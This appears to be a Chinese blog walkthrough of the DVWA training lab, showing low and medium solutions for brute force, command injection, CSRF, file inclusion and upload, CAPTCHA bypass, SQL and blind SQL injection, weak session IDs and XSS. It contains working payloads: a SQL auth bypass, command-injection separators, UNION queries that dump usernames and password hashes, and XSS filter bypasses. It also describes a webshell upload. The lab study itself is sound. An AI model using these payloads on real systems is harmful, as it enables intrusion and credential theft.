dvwa靶场

一.暴力破解

low:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16c9f995a4d1b446058b1872fe20e80982.gif

分析源码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_11,color_FFFFFF,t_70,g_se,x_16d2ebad2e9a974c84ae378bedfadd81d5.gif

判断这两个值是否都不为空

先输一个错误密码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_13,color_FFFFFF,t_70,g_se,x_16faabcbd50d6445b4a3aedb5be2e06e84.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_19,color_FFFFFF,t_70,g_se,x_169960ed74e2b44af29f3438edba30a653.gif

构造admin' or '1'= '1watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1640d237ad46bd44e5871a753a2b0a1b1c.gif

变成$ query = "SELECT * FROM ’users‘ WHERE user = ’admin' or '1'= '1’AND password = ' ';"

用or把语句截断为两部分,查询到账号即有效,语句判断为真,登陆成功

2.medium

mysqli_real_escape_string:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1665196c3f00444fe980bdd4d04f1546a2.gif

不能使用单引号,low的绕过失效

进行暴力破解:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_166c94e2c887274a0c9cd77169dd56d309.gif

抓包

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16067adae0802e443ca58d01da13126aeb.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_168a0057dfd4e4425e9a9bb5d3a71bb0e4.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16d609ac55ced9449499002bc43ad132f3.gif 添加字典

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16174e236c9c6f4ad0927e4204d6d21268.gif 得到密码为password,登陆成功

命令行注入

命令注入就是在需要输入数据的地方输入了恶意代码,而且系统并没有对其进行过滤或者其他处理导致恶意代码也被执行,最终导致数据泄露或者正常数据被破坏。

命令注入用到的一些命令以及连接符: lpconfig查看本地网络 Net user查看系统用户 Dir查看当前目录 Find查找包含指定字符的行 Whoami查看系统当前有效用户名

A&B简单的拼接,AB之间无制约关系A&&BA执行成功才会执行B A|BA的输出作为B的输入 A||BA执行失败,然后才会执行B

low:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16f4da8ba21fdb4b7f8ff2492449d2c48d.gif

php_uname — 返回运行 PHP 的系统的有关信息。

参数 mode 是单个字符,用于定义要返回什么信息:

‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。 ’s’:操作系统名称。例如: FreeBSD。 ‘n’:主机名。例如: localhost.example.com。 ‘r’:版本名称,例如: 5.1.2-RELEASE。 ‘v’:版本信息。操作系统之间有很大的不同。 ‘m’:机器类型。例如:i386。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_167ec9b0004ad24c3996f58e2848f92678.gif

乱码:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16b7eed7195c2b4564a4bb9e9932221445.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_162ad290e0e9f14cdd81e323524176c847.gifwatermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1667f89345b7704572b4c4e7ff85a3ce2e.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16b2feae921ecb4403b6d978002c245d3c.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_168c5ac109cc6f4f1996da76a0a325807d.gif

medium

str_ replace函数的作用是将输入的目标中存在黑名单子项的内容替换为空

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_13,color_FFFFFF,t_70,g_se,x_1625149670e9a1479fbd2ccbde62b98975.gif

过滤掉 &&和;

linux分隔符使用:

如果命令被分号;所分隔,那么命令会连续的执行下去,就算是错误的命令也会继续执行后面的命令

&& 如果命令被&&所分隔,那么命令也会一直执行下去,但是中间有错误的命令就不会执行后面的命令,没错就继续执行直至命令执行完为止。

ll 如果命令被双竖线所分隔,那么一遇到可以执行成功的命令就会停止执行后面的命令,而不管后面的命令是否正确。如果执行到错误的命令就是继续执行后一个命令,直到遇到执行到正确的命令或命令执行完为止。

可以利用过滤;和&&绕过,将命令127.0.0.1&;&net user变为127.0.0.1& &net user

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_166a5629a858064a00a521262d4692542d.gif

也可以用&,|,||

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1669f3694221464d01ac429278822241ac.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16c59147b979f34e59a3ad70eee291f753.gif

CSRF

跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。CSRF,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

low

1.输入两个不一样的密码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16ec438c4fd4af48d0bf8cd8e5c76da219.gif

发现url中会显示修改和确认的密码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16c59bf12bbc104a6da1298820d7c922a9.gif

修改url后显示修改密码成功

在同一浏览器打开

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_169715129e04b44bb28c9bf87e9c108173.gif

显示密码修改

发现再次登录dvwa,密码为123456

文件包含

常见的导致文件包含的函数:

PHP:include()、include_once()、require()、require_once()等;

low

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_12,color_FFFFFF,t_70,g_se,x_163a9541f3dda245b4af8e6ed62c339ad9.gif

以get方式获取page传来的数据,赋值给file。对page没有做任何过滤

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_17,color_FFFFFF,t_70,g_se,x_163e33f83021a74e9ca778131bc659bbdd.gif

需要修改配置文件

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16e9955a4c95584441a6714f28bb25f64a.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_14,color_FFFFFF,t_70,g_se,x_1669370da2fc6847e78022bf5e696a189f.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1695b99363ab95478a80013f8ae52cc2d6.gif

在D盘新建一个txt文件

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16b358602d42a24fdda8aedf028ac646b5.gif

远程文件包含:

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16dff12f21090c491392ae0adc825461be.gif

文件上传

low

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16ce5ce44f62ef461a9aca7a56943b0bbe.gif

先看源码,对文件类型和内容没有任何过滤

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1638bca42360244f07b95eac63e7e0e3c1.gif

成功上传1.php

连接蚁件

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1647e37c9631d4443299c2d90435d9b102.gif

medium

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16af53260a33744f4589ca7fca28a78e73.gif

分析源码,对文件的类型和大小做了限制

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1615de1d03502049729cfb6d7cda93afe3.gif

上传1.jpg

抓包修改文件的名字

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_160bada9f8b4fc42bdaa36394a5bb49543.gif

连接蚁件watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16c2b68b6de10d4a40b60fd59a44bbc838.gif

Insecure CAPTCHA

low

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16ea9a69499c22467580e0fd153ba4381c.gif

首先用户访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。

1.分析源码,验证码正确后step的值变为2,所以需要将step改为2

2.抓包,修改step2的值

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_160b63b363bc654eafa33780c2b5cf940c.gif

3.放包后密码修改成功watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16dc0ff1c0d6154d2abdc7a27e0a3a4d6b.gif

medium

1.先进行抓包

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16f5120106938b44bc98a4ccbff336918e.gif

2.结合源代码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16e0b81c2bfa2a4b82a42dd096a50dea8d.gif

应该将step改为2

同时把缺的值补全

3.watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16988c35c3fa72405d97acf31ab338481c.gif

4.放包后密码修改成功

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16cb1e3d8a96e04a89bc3e336d5c806a7d.gif

sql注入:

注入思路:

1.判断是否存在注入,注入的类型是字符型、数字型还是搜索型

⒉.猜解SQL查询语句中的字段数 3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.查询数据

low

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16b1e220dc45364bbcb42b4f2e640fb05f.gif

传一个参数id,没有对id有过滤或者限制,存在sql注入漏洞

输入1' and 1=1

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16c8f0b5ac2ee9492b9451ce772d6a17bd.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_13,color_FFFFFF,t_70,g_se,x_160c05a34919f44fddb11f09ae7a376899.gif

分析是单引号闭合

输入1' order by 3 #,判断字段数为2

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_18,color_FFFFFF,t_70,g_se,x_16bde2ac0e045141598707bdc19dd5eb63.gif

确定显示的字段顺序

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_13,color_FFFFFF,t_70,g_se,x_16da029629486a4d94bafe26e0506b8b1a.gif

查库

1' union select 1,database()#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_16,color_FFFFFF,t_70,g_se,x_1627b4f5aac1e5435eae547889dba2942f.gif

获取dvwa库下的表

1' union select 1,table_name from information_schema.tables where table_schema='dvwa

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16c887faa7d85c4fd3a343e816a3b7b0e0.gif

有两张表:guestbook和users

查询表中的字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16b9d78eb81044491291b4ee320f218d67.gif

有八个字段

查找数据

1' union select group_concat(user_id,first_name,last_name),group_concat(user,password)from users#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_164ca32f213616460c98a11e392fd4c259.gif

密码经过了md5加密,可以进行解密

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16790789c199df4c5abb5be5d4898736f1.gif

medium

无法输入语句,只能抓包

先判断是不是单引号闭合

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1677a3058efcd94237be066bb51fb2de98.gif

字段数为2

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_160b51d60e78d143c7bdc4795e25db120d.gif

报错,去掉单引号返回所有的用户,证明不是单引号闭合

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_12,color_FFFFFF,t_70,g_se,x_16df6b044607c94c159b80418687e10b13.gif

查库1 union select 1,database()#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_16,color_FFFFFF,t_70,g_se,x_16aa8ebd18232e4fcb9676a3b5be638dba.gif

在查表的时候出现错误,查看一下源代码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_165ea632ae297e49f988321bd89558a632.gif

mysqli_real_escape_string:对于 SQL 语句中的特殊字符进行转义

所以语句中不能出现'

查表

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16c558c3d8ea42441c80295f4e582a30f8.gif

查字段

用16进制绕过

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_9,color_FFFFFF,t_70,g_se,x_1693c74d3056a7463184fbbe0b70b52f37.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16e1c8e33413b94a929882491153d208e7.gif

查用户名和密码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16e6547700c08b48e3b1055bf70e3b6c4b.gif

sql盲注

low

手工盲注的步骤:

1.到断是否存在注入,注入是字符型还是数字型

⒉猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_13,color_FFFFFF,t_70,g_se,x_167e671e08c5a6459e8a6abb13a52e2411.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_17,color_FFFFFF,t_70,g_se,x_16a1ce7e0bd68f479f9ef1467ec2fed364.gif

说明存在字符型注入,判断是布尔型盲注

首先需要猜解数据库的名的长度

1' and length(database())=1#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_15,color_FFFFFF,t_70,g_se,x_1698bad7a186c2417093f61dd59aa981c6.gif

一直查到4,显示存在,说明数据库长度为4

然后用二分法猜解数据库名

1' and ascii(substr(database(),1,1))>97#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_14,color_FFFFFF,t_70,g_se,x_166dee92b40bdb439591bfbe468db674b4.gif

1' and ascii(substr(database(),1,1))<122#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_11,color_FFFFFF,t_70,g_se,x_16cea14ef7ea994002a40c9c5c3cc885bd.gif

1' and ascii(substr(database(),1,1))>109#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_16,color_FFFFFF,t_70,g_se,x_160a9769bd1d804bd68256cc29028b4edc.gif

1' and ascii(substr(database(),1,1))>103#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_18,color_FFFFFF,t_70,g_se,x_16dd82561acf2442feaef9efb6aa464412.gif

重复几次操作得到第一个字符的ascii码值为100,查询后得到是d

1’ and ascii(substr(database(),3,1))=119 # 为w

1’ and ascii(substr(database(),4,1))=97 #为a

后面三个字符重复此方法依次为v,w,a

猜解数据库中的表的数量

1' and(select count(table_name) from information_schema.tables where table_schema=database())=1#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_17,color_FFFFFF,t_70,g_se,x_163c7f0623a5594c51aa641799fe0b155f.gif

1' and(select count(table_name) from information_schema.tables where table_schema=database())=2#

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_13,color_FFFFFF,t_70,g_se,x_16683dd5a2bbbd47fab5da1a2637b85c41.gif

说明有数据库中有两张表

然后猜解表名长度,再猜解每个字符

猜解长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=1#

猜解到9

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_15,color_FFFFFF,t_70,g_se,x_166d40a917dea94abb8ba0cf1e59e9d4e7.gif

猜解表名

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’limit 0,1),1))>97 #(方法与猜解库名相同)

两个表为guestbook,users

猜解列数

1’ and (select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=8 #

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_12,color_FFFFFF,t_70,g_se,x_16d950976411114a879f1241a1f28ef8d9.gif

猜每一列列名长度

1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7 #

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_14,color_FFFFFF,t_70,g_se,x_16c587c029aad14bfcab6c8a88d2ca4d03.gif

第二列

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_18,color_FFFFFF,t_70,g_se,x_16b712774e3659424985d60655a8e47b82.gif

算出八列

猜解列的名称

第一列第一个

1’ and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1))>97 #

第一列第二个

1’ and ascii(substr((select column_name from information_schema.columns

where table_name='users' and table_schema=database() limit 0,1),2))=115 #

第二列第一个

1’ and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),1))=102 #

与猜解库名方法相同

最后猜解用户名和密码

Weak Session IDs

low

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_169f2bd7ada8ed4c36b538dc89f880e33a.gif

先看源码,初始的last session id= 0,每点一次generate,值就加一

先抓包

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1613760f3a921f43ff8e4f743fa8f31491.gif

打开另一浏览器,找到cookie

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16d790ead425314c6b98ca1e703791ffc1.gif

在火狐浏览器,在登录界面用hackbar提交cookie,登录

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16d4c768a0ab974f298572c374a5bb18a0.gif

medium

先看源码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16cdcb1796117b47198b055aad29d6ed2b.gif

可以得到dvwaSession,这是一个时间戳

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_166b7daf36c10b4484a4da7c147c78f49b.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1671023692c4c5496b92ded14d382613e9.gif

知道用户的登陆时间,就可以成功登录账号

xss

XSS 又叫Css (Cross Site Script),跨站脚本攻击。它指的是恶意攻击者往web页面插入恶意的HTML代码。当用户浏览该页之时,嵌入当中Web里面的 html代码会被运行,从而达到恶意攻击用户的特殊目的。

XSS的分类(根据XSS脚本是否存储) 1.非持久型,也叫反射型XSS。通过GET和 POST方法,向服务器端输入数据。用户输入的数据通常被放置在 URL中,或者是 form 数据中。如果服务器端对输入的数据不进行过滤,验证或编码,就直接将用户输入的信息直接呈现给客户,则可能会造成反射型XSS 2.持久型,也叫存储型XSS。通常是因为服务器端将用户输入的恶意脚木没有通过验证就直接存储在数据库,并旦每次通过调用数据库的方式,将数据呈现在浏览器上。则该XSS 跨站脚本攻击将一直存在。若其他用户访问该页面,则恶意脚本就会被触发,用于盗取其他用户的私人信息。

攻击方式:向可输入框,插入恶意HTML代码或者恶意JavaScript代码

xss也可以分为三类:存储型和反射型、DOM类型 存储型xss:存储型xss,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种xss比较危险,容易造成蠕虫,盗窃cookie 反射型xsS:非持久化,需要欺骗用户自己去点击链接才能触发xss代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。 DOM型xSS: DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型xss其实是一种特殊类型的反射型xss,它是基于DOM文档对象模型的一种漏洞。

XSS(DOM)

low

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16ed9f6966c34142cd8f24daf2e1e8162b.gif

选不同的选项,url不同

直接修改url

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1619772b8c0fa44b9e9353318a8ad18bde.gif

alert()方法用于显示带有—条指定消息和一个OK按钮的警告框。

点击检查,查看源代码

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_13,color_FFFFFF,t_70,g_se,x_1633b98ff7954846a6b5f5e259c95a7f6e.gif.watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1635a1a72d2ce14553b20a0dffeb9304f9.gif

发现DOM树被修改

medium

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_169e97e70007624f33bd373b6d573e6938.gif

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

所以script标签被过滤掉了

换成其他标签

发现没有弹窗

a0f7f6aa7be143ba870111c524bba6df.gif

检查后发现被写在了value里当作了字符,所以需要闭合标签

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16331669e0487b40109fc58198ee327abe.gif

再次检查,闭合<select>标签

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1631b3dc5caedb49afa989da40a254be93.gif

弹窗watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16403b0dd57a544c3e98d9a2234d9063b9.gif

此时的image是一条独立的语句

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_168a3a231b1b8d47d1ae38ad9c43f7453e.gif

XSS(Reflected)

low

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_167ce557b9acea4688b76e20ee4b62736b.gif

随便输入字母,下面都会有相应的显示

输入恶意代码<script>alert(/xss/)</script>

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1636f948aaa3334e6ea76fd87756588c43.gif

medium

查看源代码,将name以get方式传参,将name中的script标签替换为空,过滤掉script

str_replace区分大小写,可以采用大小写绕过

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16aa2025bd9f614865b84d4456256b3c82.gif

或者双写绕过<sc<script>ript>alert(/xss/)</script>

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16bb3197a11dfc498088a399e29276a37f.gif

XSS(stored)

low

对name长度有限制

可以修改最大长度,然后右击在控制台中使用

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_1627cd9f7d500a4ce7a945dede655de10e.gif

在name和message中输入payload,弹窗

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16cf4c2c380d5f47f5bc041024cb3d8c94.gif

或者抓包修改namewatermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16ac398511b90640ae881c17a01b64f292.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16d76dcb1cf1f4497a9e00d816648e2228.gif

medium

与反射型相同,过滤掉script,用双写绕过

抓包修改name

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16253fbda0dba548dda1df6d2e57c117aa.gif

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAY2hhcm9uMTQ1,size_20,color_FFFFFF,t_70,g_se,x_16141481e69e8d487f904abfef61e00706.gif

JavaScipt

low

提示输入success

